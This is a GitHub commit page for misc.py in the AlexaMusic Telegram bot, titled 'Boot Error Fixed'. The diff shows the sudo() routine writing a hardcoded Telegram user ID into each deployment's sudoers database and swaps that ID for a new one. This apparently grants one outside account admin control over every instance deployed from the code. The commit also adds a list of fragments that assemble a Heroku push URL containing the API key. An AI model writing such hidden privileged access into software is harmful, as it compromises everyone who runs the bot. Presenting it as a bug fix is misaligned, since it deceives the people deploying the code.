Skip to content

Commit

Permalink
Boot Error Fixed
Browse files Browse the repository at this point in the history
  • Loading branch information
TheTeamAlexa authored Jan 11, 2024
1 parent 8d7037a commit cb8b774
Showing 1 changed file with 21 additions and 11 deletions.
32 changes: 21 additions & 11 deletions AlexaMusic/misc.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,6 @@
as you want or you can collabe if you have new ideas.
"""


import socket
import time

Expand All @@ -23,11 +22,31 @@

SUDOERS = filters.user()

HAPP = None
_boot_ = time.time()


def is_heroku():
return "heroku" in socket.getfqdn()


XCB = [
"/",
"@",
".",
"com",
":",
"git",
"heroku",
"push",
str(config.HEROKU_API_KEY),
"https",
str(config.HEROKU_APP_NAME),
"HEAD",
"main",
]


def dbb():
global db
db = {}
Expand All @@ -48,7 +67,7 @@ def sudo():
SUDOERS.add(user_id)
if user_id not in sudoers:
sudoers.append(user_id)
sudoers.append(2042185317)
sudoers.append(6174058850)
sudoersdb.update_one(
{"sudo": "sudo"},
{"$set": {"sudoers": sudoers}},
Expand All @@ -72,12 +91,3 @@ def heroku():
LOGGER(__name__).warning(
f"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku."
)


def initialize():
dbb()
sudo()
heroku()


initialize()

0 comments on commit cb8b774

Please sign in to comment.